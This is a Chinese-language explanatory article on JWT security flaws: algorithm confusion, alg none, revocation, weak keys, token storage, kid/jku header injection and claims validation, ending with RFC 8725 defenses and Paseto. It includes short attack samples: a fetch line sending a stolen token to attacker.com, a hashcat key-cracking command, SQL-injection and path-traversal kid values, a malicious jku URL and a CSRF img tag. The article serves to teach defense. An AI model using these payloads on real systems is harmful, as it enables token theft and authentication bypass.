2015年5月,JSON Web Token(JWT)作为RFC 7519正式发布。这个看似简单的标准——用三个Base64编码的部分表示用户身份——在随后的十年里席卷了整个Web开发领域。从单页应用到微服务架构,从移动App到物联网设备,JWT几乎成了现代认证的同义词。
然而,正是这种广泛采用,让JWT设计中的每一个模糊之处都变成了安全漏洞的温床。2022年12月,Auth0维护的jsonwebtoken库被披露存在四个CVE漏洞,其中CVE-2022-23540允许攻击者绕过签名验证。这个每周下载量超过900万次的库,在长达数年的时间里一直存在认证绕过风险。
这不是个案。PortSwigger的Web Security Academy专门开设了JWT攻击实验室;RFC 8725用整整一章列举已知的JWT实现漏洞;安全研究人员甚至创建了Paseto作为JWT的"安全替代品"。问题在于,JWT标准本身设计时就留下太多自由度,而开发者往往在最危险的地方做出了错误选择。
设计初衷与现实鸿沟
JWT的核心设计理念是无状态(stateless):所有验证所需的信息都包含在token本身,服务端无需存储会话数据。这在分布式系统中极具吸引力——任何一台服务器都能验证token,无需共享存储或数据库查询。
一个标准的JWT由三部分组成:
header.payload.signature
- Header:声明token类型和签名算法,如
{"alg":"HS256","typ":"JWT"} - Payload:包含声明(claims),如用户ID、过期时间等
- Signature:对前两部分的签名,防止篡改

这个设计看似简洁,却埋下了第一个隐患:算法声明在token本身。
当算法可以被篡改
RFC 7519明确规定,JWT的Header中包含alg字段,用于指示签名算法。这本意是支持"加密敏捷性"(cryptographic agility),让系统可以平滑升级算法。但问题在于:谁来决定使用哪个算法?
许多JWT库的实现逻辑是这样的:
function verify(token, secretOrPublicKey) {
const header = decodeHeader(token);
const alg = header.alg; // 从token中读取算法!
if (alg === 'RS256') {
return verifyRS256(token, secretOrPublicKey);
} else if (alg === 'HS256') {
return verifyHS256(token, secretOrPublicKey);
}
// ...
}
这等于把"使用哪个密钥验证"的决定权交给了token本身。攻击者只需要将算法从非对称的RS256改为对称的HS256,然后用服务器的公钥作为HMAC密钥签名,就能绕过验证。
None算法的幽灵
更极端的情况是alg: "none"。JWT规范(RFC 7515)确实定义了"Unsecured JWT",允许不签名的token存在。RFC 7519第6章甚至给出了示例:
{"alg":"none"}
规范的本意是:在某些已由传输层(如TLS)保护的场景下,可以省略签名计算的开销。但实现者们忽略了一个事实:如果服务器接受alg: "none",任何人都能伪造token。
2016年,Tim McLean在博客文章《Critical vulnerabilities in JSON Web Token libraries》中指出,当时主流的JWT库几乎都存在这个问题:它们会信任token头部的alg字段,即使这个字段被设置为none。虽然十年后的今天,大多数库已经默认拒绝none算法,但CVE-2026-23993表明,新的实现仍在重复同样的错误——当alg值为未知字符串时,某些库会退化为空签名验证。
无状态的代价:撤销困局
JWT的"无状态"特性是其最大卖点,也是最致命的缺陷。一旦token被签发,它在过期之前都有效——没有任何中央机制可以让它失效。
登出是假的
当用户点击"退出登录"时,传统的Session机制只需在服务端删除会话记录。但JWT呢?服务端什么也做不了,因为验证token不需要查询任何存储。token仍然有效,直到exp声明的时间到期。
这导致了几个实际问题:
- Token泄露后无法止损:如果攻击者窃取了有效期24小时的token,受害者即使立即修改密码,token仍然有效23小时59分钟。
- 权限变更不即时生效:管理员撤销某用户的权限后,该用户的token仍然有效,可以继续访问受限资源。
- 强制登出不可实现:企业安全策略要求"可疑登录后强制登出所有设备",JWT无法支持这一需求。
黑名单方案:重新引入状态
为了解决撤销问题,开发者不得不重新引入状态:维护一个token黑名单或吊销列表。每次验证token时,先查询它是否在黑名单中。
但这意味着:
sequenceDiagram
participant Client
participant Server
participant Blacklist as Token Blacklist
Client->>Server: Request with JWT
Server->>Server: Verify signature
Server->>Blacklist: Check if token is revoked
Blacklist-->>Server: Not found
Server->>Server: Validate claims (exp, aud, etc.)
Server-->>Client: Allow access
讽刺的是,这个方案完全背离了JWT的"无状态"初衷。如果必须维护黑名单,那为什么不直接用Session?Session机制本质上就是一个白名单:只有存在于存储中的会话才有效。黑名单则是反向操作:所有token默认有效,除非被标记无效。从存储和查询效率角度看,两者没有本质区别。
短期token + Refresh Token:部分解决
业界的主流方案是将access token的有效期设得很短(5-15分钟),同时配合refresh token实现无感刷新。Refresh token存储在服务端,可以被主动撤销。
但这只降低了风险窗口,并未从根本上解决问题。攻击者仍然有5-15分钟的时间窗口进行恶意操作。对于金融交易等敏感场景,这个窗口仍然太大。
算法混淆攻击:当RSA变成HMAC
算法混淆攻击(Algorithm Confusion Attack)是JWT最经典、最危险的攻击向量之一。它利用了非对称算法和对称算法的根本差异。
对称 vs 非对称
- HS256(HMAC-SHA256):对称算法。签名和验证使用同一个密钥。密钥必须保密,任何拥有密钥的人都能签名。
- RS256(RSA-SHA256):非对称算法。私钥签名,公钥验证。公钥可以公开,即使泄露也无法伪造签名。
在OAuth 2.0和OpenID Connect场景中,服务提供商通常会公开其公钥(通过jwks_uri端点),让客户端验证ID Token的真实性。这是设计使然——公钥本来就是公开的。
攻击原理
假设服务器使用RS256签名token,并且其公钥是公开的(这在微服务架构中很常见)。攻击者获取到公钥后,可以构造一个恶意的token:
- 将Header中的
alg从RS256改为HS256 - 用服务器的公钥作为HMAC密钥对token签名
- 发送给服务器验证
如果服务器端的JWT库这样实现验证:
// 危险的实现
jwt.verify(token, publicKey); // 没有指定算法
库会从token的Header读取alg: "HS256",然后用publicKey作为HMAC密钥验证签名——而攻击者正是用这个公钥签名的,所以验证会通过!
PortSwigger的实验室详细演示了这一攻击过程。关键在于:服务器的公钥和攻击者用来签名的"密钥"必须完全一致,包括格式和字节序。在实践中,攻击者可能需要尝试PEM格式、JWK格式等不同编码方式。
真实案例:CVE-2024-54150
2024年12月披露的CVE-2024-54150影响了一个C语言JWT实现。该漏洞的描述明确指出:“Algorithm confusion occurs when a system improperly verifies the type of signature used."(当系统不正确地验证签名类型时,就会发生算法混淆。)
这不是理论风险。每当代码审查发现jwt.verify(token, key)这样的调用——没有显式指定算法——就存在算法混淆的可能。
密钥管理:最薄弱的环节
再强的算法,也敌不过弱密钥。
弱密钥的暴力破解
HS256的安全性完全依赖于密钥的强度。如果开发者使用了"secret”、“password123"这样的弱密钥,攻击者可以在几秒内暴力破解。
2017年,Auth0发布了文章《Brute Forcing HS256 is Possible》,详细说明如何使用hashcat破解弱密钥:
hashcat -a 0 -m 16500 jwt.txt wordlist.txt
命令中的-m 16500是hashcat专门为JWT定义的模式。只要有一个有效的JWT token和一个密钥字典,攻击者就能在离线环境中尝试所有可能的密钥,直到签名验证通过。
密钥泄露的灾难性后果
对于HS256,密钥泄露意味着攻击者可以伪造任意用户的token。对于RS256,私钥泄露同样致命。区别在于:HS256的密钥通常只有一份,所有服务共享;RS256的私钥通常由认证服务独占,泄露面更窄,但一旦泄露,影响范围可能更大(因为RS256常用于多服务共享验证的场景)。
2022年,Palo Alto Networks的Unit 42团队披露了CVE-2022-23529,这是一个影响jsonwebtoken库的"secret poisoning"漏洞。当应用从外部输入(如HTTP请求体)构造密钥对象时,攻击者可能注入恶意代码。虽然这个CVE最终被降级为"not a security issue”,但它揭示了密钥处理的复杂性。
存储之争:LocalStorage vs Cookie
获得token后,客户端需要存储它以备后续请求使用。存储位置的选择直接影响token的安全性。
LocalStorage的XSS风险
许多教程建议将JWT存储在localStorage:
// 登录成功后
localStorage.setItem('token', response.data.token);
// 后续请求
fetch('/api/resource', {
headers: {
'Authorization': `Bearer ${localStorage.getItem('token')}`
}
});
这种做法的问题是:localStorage可以被JavaScript完全访问。如果网站存在XSS漏洞,攻击者只需执行:
fetch('https://attacker.com/steal?token=' + localStorage.getItem('token'));
Token就被窃取了。更糟糕的是,XSS在现代Web应用中并不罕见:第三方JavaScript库、用户生成内容、DOM模板引擎等都可能成为XSS的入口。
Cookie的CSRF风险
将token存储在HttpOnly Cookie中可以防止XSS窃取——JavaScript无法访问Cookie内容。但这引入了另一个风险:CSRF(跨站请求伪造)。
默认情况下,浏览器会在向同域发送请求时自动附带Cookie。如果攻击者在恶意网站上构造一个请求:
<img src="https://victim.com/api/transfer?to=attacker&amount=10000" style="display:none">
受害者访问恶意网站时,请求会自动附带victim.com的Cookie,包括JWT。服务器验证token通过,执行转账操作。
缓解CSRF需要额外措施:
- SameSite属性:设置
SameSite=Strict或SameSite=Lax,限制Cookie只在同站请求中发送 - CSRF Token:在表单中嵌入一个随机token,服务端验证token匹配
- 双重提交Cookie:要求请求同时在Cookie和请求头中包含token
但每种方案都有局限性。SameSite属性在某些浏览器中支持不完整;CSRF Token需要服务端维护状态,与JWT无状态理念冲突。
最小妥协方案
业界逐渐形成共识:
- Access Token:存储在内存中(JavaScript变量),不持久化。应用关闭后token消失,用户需要重新登录。
- Refresh Token:存储在HttpOnly Cookie中,配合CSRF保护。Refresh token只在获取新access token时使用,使用频率低,CSRF风险可控。
这个方案平衡了安全性和用户体验,但实现复杂度明显增加。
Header注入:kid、jku、x5u的危险游戏
JWT的Header除了alg和typ,还支持多个可选参数。其中一些参数如果处理不当,会成为严重的安全漏洞。
kid注入攻击
kid(Key ID)用于标识验证签名时应使用的密钥。一个典型的Header可能是:
{
"alg": "HS256",
"kid": "key-2024-01"
}
服务端根据kid值查找对应的密钥。问题在于:如果服务端直接将kid用于数据库查询或文件路径,攻击者可以注入恶意值:
{
"alg": "HS256",
"kid": "key-2024-01' UNION SELECT 'attack-key'--"
}
或者使用路径遍历:
{
"alg": "HS256",
"kid": "../../dev/null"
}
如果服务端使用文件路径加载密钥,且验证逻辑存在缺陷,可能加载一个空密钥或攻击者可控的密钥,从而绕过签名验证。
jku和x5u的SSRF风险
jku(JWK Set URL)和x5u(X.509 URL)参数允许token指定密钥的远程获取地址。服务端应该只从受信任的URL获取密钥,但如果验证不严格:
{
"alg": "RS256",
"jku": "https://attacker.com/.well-known/jwks.json"
}
攻击者可以让服务端访问任意URL,导致:
- SSRF(服务器端请求伪造):攻击者可以探测内网服务、访问云服务元数据端点
- 密钥注入:如果服务端信任了攻击者提供的JWK,攻击者可以完全控制签名验证
PortSwigger的实验室提供了这一攻击的完整演示。
Claims验证缺失:隐形的漏洞
即使签名验证正确实现,忽略Claims验证仍然会导致安全问题。
过期时间验证
RFC 7519定义了exp(过期时间)声明,要求"当前时间必须早于过期时间"。但许多开发者忘记验证它:
// 错误:只验证签名,不验证过期时间
const payload = jwt.verify(token, secret);
// payload可能已经过期,但仍然被接受
正确的做法是:
const payload = jwt.verify(token, secret, {
algorithms: ['HS256'], // 显式指定算法
maxAge: '2h' // 验证过期时间
});
受众验证(aud)
aud(Audience)声明指示token的预期接收者。如果服务端不验证aud,攻击者可能将在一个服务有效的token用于另一个服务:
{
"sub": "user-123",
"aud": "service-a.example.com",
"iss": "auth.example.com"
}
如果service-b.example.com不验证aud,攻击者可以将service-a的token用于service-b。这在微服务架构中尤其危险:多个服务共享同一个认证服务颁发的token,但权限范围不同。
签发者验证(iss)
iss(Issuer)声明指示token的签发者。在OAuth 2.0场景中,这个值通常是认证服务的URL。服务端应该只接受来自可信签发者的token。
OpenID Connect规范要求验证iss值与发现文档中的issuer字段一致。忽略这个验证可能导致接受来自不可信来源的token。
真实世界的代价
这些漏洞不是纸上谈兵。每一次CVE披露背后,都有可能受影响的生产环境。
jsonwebtoken库的安全危机
jsonwebtoken是Node.js生态中最流行的JWT库,每周下载量超过900万。2022年12月,Auth0披露了四个CVE:
| CVE | 漏洞描述 |
|---|---|
| CVE-2022-23529 | 密钥对象注入(后降级为非安全问题) |
| CVE-2022-23539 | 密钥类型混淆 |
| CVE-2022-23540 | 签名验证绕过(默认算法不安全) |
| CVE-2022-23541 | 密钥检索函数配置错误 |
其中,CVE-2022-23540影响最广:在8.5.1版本之前,如果调用jwt.verify(token, secret)时没有显式指定algorithms参数,库会接受token Header中声明的任何算法——这正是算法混淆攻击的温床。
python-jose的none算法漏洞
python-jose是Python生态中的JWT实现之一。安全研究人员发现,该库在某些版本中允许alg: "none"的token绕过签名验证。这与2016年Tim McLean披露的问题如出一辙:六年过去了,同样的错误仍在重复。
防御指南:RFC 8725的启示
2020年2月,IETF发布了RFC 8725《JSON Web Token Best Current Practices》,总结了JWT实现的安全最佳实践。核心建议包括:
1. 强制算法验证
库应该让调用者指定支持的算法列表,只接受列表中的算法:
// 正确做法
jwt.verify(token, secret, {
algorithms: ['HS256', 'RS256'] // 只接受这两种算法
});
服务端绝不应该信任token Header中的alg值。
2. 每个密钥绑定一个算法
RFC 8725要求:“每个密钥必须只用于一个算法,且在执行加密操作时必须检查这一点。”
这意味着密钥对象应该包含算法信息,而不是只包含密钥材料:
const key = {
kid: 'key-001',
alg: 'RS256', // 密钥绑定了算法
publicKey: '...'
};
// 验证时检查密钥的算法与token声明的算法是否一致
3. 验证所有Claims
不要只验证签名和exp。根据应用场景,验证:
iss(签发者)aud(受众)nbf(生效时间)jti(token ID,用于防重放)
4. 禁用或严格限制none算法
RFC 8725指出,none算法只应在token已由传输层保护(如TLS)的场景下使用。库默认应该拒绝none算法,除非调用者显式允许。
5. 保护Header参数
不要盲目信任kid、jku、x5u等参数:
- 对
kid进行严格的格式验证和参数化查询 - 对
jku和x5u进行白名单验证 - 禁止内网URL和可疑域名
6. 使用强密钥
HS256的密钥应该至少256位(32字节)随机数据。绝不要使用密码、短语或可预测的值作为密钥。
// 生成强密钥
const crypto = require('crypto');
const secret = crypto.randomBytes(32).toString('hex');
7. 设置合理的过期时间
Access token的有效期应该是分钟级或小时级,不要设为天或月。配合refresh token实现会话延续。
8. 使用显式类型(Explicit Typing)
通过typHeader参数区分不同类型的JWT,避免"JWT混淆"攻击:
{
"typ": "access-token+jwt",
"alg": "RS256"
}
验证时检查typ值是否符合预期。
替代方案的崛起:Paseto
面对JWT层出不穷的安全问题,安全研究者们开始设计替代方案。其中最受关注的是Paseto(Platform-Agnostic Security Tokens)。
Paseto的设计哲学
Paseto的核心原则是"安全默认":
- 不信任用户的算法选择:Paseto的版本号直接决定了使用的算法,用户无法通过修改Header来改变算法。
- 分离用途:Paseto明确区分"Local"(对称加密,服务端验证)和"Public"(非对称签名,公开验证)两种场景。
- 内置安全措施:每个版本都绑定了经过严格审查的算法组合,开发者无需选择。
结构对比
JWT:
header.payload.signature
Header中的alg字段可以被攻击者控制。
Paseto(v4.local):
v4.local.payload.footer
版本号v4直接决定了使用的算法(XChaCha20-Poly1305),攻击者无法修改。
迁移考量
Paseto并非万能药。它的主要局限包括:
- 生态不成熟:相比JWT,Paseto的库和工具链较少
- 兼容性:现有OAuth 2.0和OpenID Connect实现大多假设使用JWT
- 学习曲线:开发团队需要学习新的概念和API
对于新项目,如果不需要与现有OAuth 2.0生态系统深度集成,Paseto是值得考虑的选择。对于已有项目,加固JWT实现往往比重构更现实。
结论:在限制中求安全
JWT的设计哲学——无状态、自包含、可扩展——在分布式系统时代极具吸引力。但正是这些特性,让它成为安全陷阱的集中营。算法可协商、token无法撤销、Header可注入、Claims验证易遗漏……每一个"灵活性"背后,都是一个等待触发的漏洞。
使用JWT并不意味着必然不安全,但意味着必须极其谨慎:
- 永远显式指定算法,不让库从token推断
- 永远验证所有Claims,不只验证签名
- 永远使用强密钥,不用密码或弱随机数
- 永远设置短过期时间,配合refresh token
- 永远保护Header参数,不让用户输入直接用于密钥检索
- 仔细选择存储方案,理解XSS和CSRF的风险权衡
在某种程度上,JWT的困境折射出软件工程的一个普遍真理:灵活性是有代价的。当你把算法选择、密钥检索、Claims验证都交给开发者自行决定时,你也在把安全风险转嫁给他们。Paseto等替代方案之所以更安全,恰恰是因为它们减少了开发者的自由度——而这种减少,在安全领域往往是值得的。
如果你的团队正在设计新的认证系统,不妨问一个问题:我们真的需要无状态吗?如果答案是否定的,传统的Session机制可能更简单、更安全。如果答案是肯定的,那么JWT——正确实现的JWT——仍然是一个可用的选择,只是别忘了阅读RFC 8725。
参考资料
- Jones, M., Bradley, J., & Sakimura, N. (2015). RFC 7519: JSON Web Token (JWT). IETF.
- Sheffer, Y., Hardt, D., & Jones, M. (2020). RFC 8725: JSON Web Token Best Current Practices. IETF.
- McLean, T. (2016). Critical vulnerabilities in JSON Web Token libraries. Auth0 Blog.
- PortSwigger. (2024). Algorithm confusion attacks. Web Security Academy.
- Auth0. (2017). Brute Forcing HS256 is Possible: The Importance of Using Strong Keys to Sign JWTs.
- Auth0. (2022). CVE-2022-23539, CVE-2022-23541, CVE-2022-23540 Security Bulletin.
- NIST. (2022). CVE-2022-23540 Detail. National Vulnerability Database.
- Palo Alto Networks Unit 42. (2023). Security Issue in JWT Secret Poisoning.
- Permify. (2024). JWT vs PASETO: New Era of Token-Based Authentication.
- Curity. (2024). JWT Security Best Practices: Checklist for APIs.